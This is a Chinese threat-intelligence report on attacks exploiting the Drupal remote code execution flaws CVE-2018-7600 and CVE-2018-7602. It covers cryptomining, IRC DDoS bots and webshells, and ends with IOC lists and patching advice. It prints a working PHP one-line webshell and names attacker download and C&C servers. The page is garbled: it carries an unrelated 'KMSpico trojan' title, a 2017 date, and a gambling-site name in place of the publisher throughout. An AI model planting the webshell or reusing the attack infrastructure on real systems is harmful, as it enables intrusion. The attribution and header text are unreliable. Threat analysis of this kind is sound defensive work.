KMSpico激活工具木马分析

2017-09-30

发布者：9455澳门新葡萄娱乐场官网版

Drupal远程代码执行漏洞威胁态势分析

一、概述

Drupal官方在2018年3月28日发布sa-core-2018-002 (CVE-2018-7600) Drupal内核远程代码执行漏洞预警，之后一个月内又连续发布两个漏洞，其中包含一个XSS和另一个高危代码执行漏洞sa-core-2018-004 (CVE-2018-7602)，此后两个月内互联网上针对Drupal程序的攻击非常频繁，9455澳门新葡萄娱乐场官网版威胁情报中心（NTI）结合安全情报数据，从漏洞披露到利用程序的传播，总结了外界针对Drupal程序的常见攻击手法，对相关态势进行了梳理，希望可以为安全从业人员提供建议和参考。

二、漏洞披露时间轴

虽然漏洞已经披露，相关利用的PoC却在两周后才放出，而仅仅在PoC披露后几个小时，就发现有利用此漏洞的攻击出现。在随后的时间内互联网上针对Drupal程序的攻击迅速增加，在4月29日达到峰值，并且针对该漏洞的攻击还在持续。

在PoC公布的时间轴上，扫描攻击中7.x版本的漏洞触发uri出现频率逐渐多于8.x版本，能看出攻击者的注意力逐渐从8.x版本转移到7.x版本。

下图统计了过去两个月间攻击ip在全球的分布情况，主要集中在北美洲、欧洲以及南美洲等区域，在国家层面上则是以墨西哥、厄瓜多尔、俄罗斯和美国为主要攻击源。

我们关注了发起攻击最频繁的几个ip，发现其中部分ip同时参与多种类型漏洞攻击，比如Weblogic反序列化漏洞(CVE-2017-10271)， Struts2-s2045漏洞(CVE-2017-5638)等，除此之外也有相当数量的ip会对内网进行横向扩展实现蠕虫式传播，我们判断此类ip属于僵尸网络的一部分。

三、攻击与利用

根据我们的监控，漏洞公布后不久，网络中迅速出现了三类不同形式的攻击方式：

挖矿利用。攻击者利用漏洞在主机中植入数字货币的挖矿程序，利用主机资源进行挖矿运算。挖矿程序主要针对门罗币，并且同时存在Windows和Linux两个版本；
远控利用。该利用具有命令执行、下载远程文件、tcp/udp flood攻击等功能；
Webshell植入。我们捕获的Webshell包括一句话木马，小马和功能强大的大马；

在这三类攻击方式中，挖矿利用的手法比较常见，而相关攻击指令和矿池地址也在其他RCE漏洞中出现过，可以判断黑产团伙也在密切关注此类高危漏洞。我们统计了这三类在所有攻击中的占比，其中向受害者主机植入挖矿脚本的占到95%，植入远控类样本占3%，植入网站后门的占1%，还有少部分部分是在目标网站挂上黑页。

挖矿类

在远程代码执行漏洞被披露后，黑产组织向漏洞主机植入挖矿程序，利用系统资源进行挖矿牟利，这类攻击往往走在最前面，而且黑产组织通常会同时发送基于Linux系统和Windows系统的攻击载荷，对不同平台达到相同的攻击目的。

Windows平台

在Windows下攻击者会通过powershell写入vbs脚本并调用wscript下载恶意程序，或者直接通过powershell下载，样本运行后会释放出配置文件，并修改注册表实现自我保护

这条命令是从188.166.148.89下载5_DRUPAL并通过powershell执行

2.Linux平台

在linux平台下的攻击载荷则是多种多样，例如混合编码，伪装成jpg或者pdf文件等，攻击者会适配x86平台或x64平台，在受害者主机下载相应的挖矿程序，同时写入计划任务保持持久性，最终目的利用系统资源获取数字货币。

例如

wget下载shell脚本

payload经过八进制编码

这些样本的行为都是获取门罗币，而在整个漏洞利用过程中，门罗币组织判断有些钱包地址与僵尸网络有关，封停了部分钱包地址。

这期间我们发现了首例利用CVE-2018-7600漏洞蠕虫式传播的僵尸网络Muhstik，并且捕获了多个活跃样本，9455澳门新葡萄娱乐场官网版威胁情报中心（NTI）分析出该家族样本和C&C之间的关系。

NTI展示Muhstik家族关系

远控类

在漏洞爆发期间，我们监测到利用该漏洞传播的基于IRC协议的DDoS攻击远控脚本，脚本使用perl语言编写，注释中出现了葡萄牙语和西班牙语，我们分析了脚本的功能模块，发现一台C&C主机104.160.176.178，该脚本会根据指令进行命令执行、下载远程文件、tcp/udp flood等攻击

一些指令集

Webshell类

除了在受害者主机植入挖矿程序和远控程序外，远程下载webshell植入网站的也不在少数，而攻击事件表明越来越多的攻击者喜欢使用在线文件/文本分享平台存放webshell或bash脚本，隐藏真正的主机，达到隐匿踪迹的目的。

我们捕获了几类webshell如下，包含一句话木马，小马和功能强大的大马。

一句话木马：

if(isset($_REQUEST['c'])) {system( $_REQUEST['c'].'2>&1');}

我们统计两周内发送该一句话木马的攻击ip及出现次数如下：

IP	出现次数
51.15.135.96	29
58.215.144.205	23
207.148.125.97	21
82.102.20.177	15
59.124.153.166	12
185.244.25.138	8
89.163.190.57	5
82.102.20.230	4
46.243.189.110	4
185.232.65.221	4
138.197.175.247	4
207.246.71.229	3
93.158.215.168	2
82.102.20.171	2
46.243.189.109	2

webshell/小马

webshell/大马

四、总结与建议

对此次Drupal内核远程代码执行漏洞事件的跟踪观察中，我们发现

从漏洞利用细节公布到有效攻击出现，时间窗口非常短暂，留给防御者的时间极其有限。此次事件中，这个时间窗口甚至已经缩短到小时级；
黑客普遍追求攻陷主机的数量。黑客在漏洞公布后短时间内，迅速开发相关利用工具，通过自动化的扫描与利用，在互联网上广泛地搜集缺陷主机，存在漏洞的网站普遍都存在着被攻陷的风险。因此管理员需要对网站出现的漏洞有足够的重视，第一时间进行升级和修补；
黑客具有较强的反追踪能力。黑客使用在线文件分享平台来隐匿自己的踪迹，例如pastebin等；

防护建议：

网站管理员应持续关注网站程序相关的漏洞情报，及时更新网站程序，升级防护设备规则；
管理员要关注网站主机系统资源利用情况，短时间内资源利用骤增且居高不下，需要关注是否被挖矿程序入侵，及时做好备份和清理恶意软件；

五、相关IOC

网络通信

142.44.240.14

145.239.93.215

188.166.148.89:444

217.182.231.56:443

195.22.127.225

104.160.176.178

文件服务器

http://94.41.167.11/

http://195.22.126.16/

http://188.166.148.89:53/

http://192.241.247.212/

http://93.174.93.149/

http://198.50.179.109:8020/

样本哈希

样本	备注	sha1
xm32.exe	门罗币挖矿	cb00248b8bcd91e68c08a061a91cc3317db5724b
Xm64.exe	门罗币挖矿	8360f0d2df9008240f1d5e0f8acdbd2c98bad58c
Xm32s	门罗币挖矿	fcdd9c19b6b134dc31b3b688002eb51cac76a3ff
xm64s	门罗币挖矿	8822037953274ddd9f78b49ee73185be20e5e3ef
1234567890.pdf	门罗币挖矿	94c2ea3cf1cdb034df2e9aa5779fa0472396bff7
2sm.txt	远控脚本	d7eb30269b3ba40ef59c0acef8948898fa54895f
maxx2.txt	远控脚本	68efd61193fc9b70394abb2327de2bf6b1f368b7
test.pl	远控脚本	046a9c9838269fc5f76890b141bb39d22e6b9456
wow.txt	远控脚本	c84dc265859d58827369eb25b752b6305b8306e7
K.txt	php webshell	7602c5cbc63e1bf2e484db63c94d5a22b7e17304
wso-encode.php	php webshell	e9e09b90cfdc1cd2ddb867385afa60816a7ee7d5
bash	Muhstik家族	f92f1b03bcc45b692716789387d837905c8d4d76
shy	Muhstik家族	0f4a3e0c6523fe0a0677f91182a1eabc536ff480
fbsd	Muhstik家族	e6f914790b3888a46dff60f51a98c7191208685a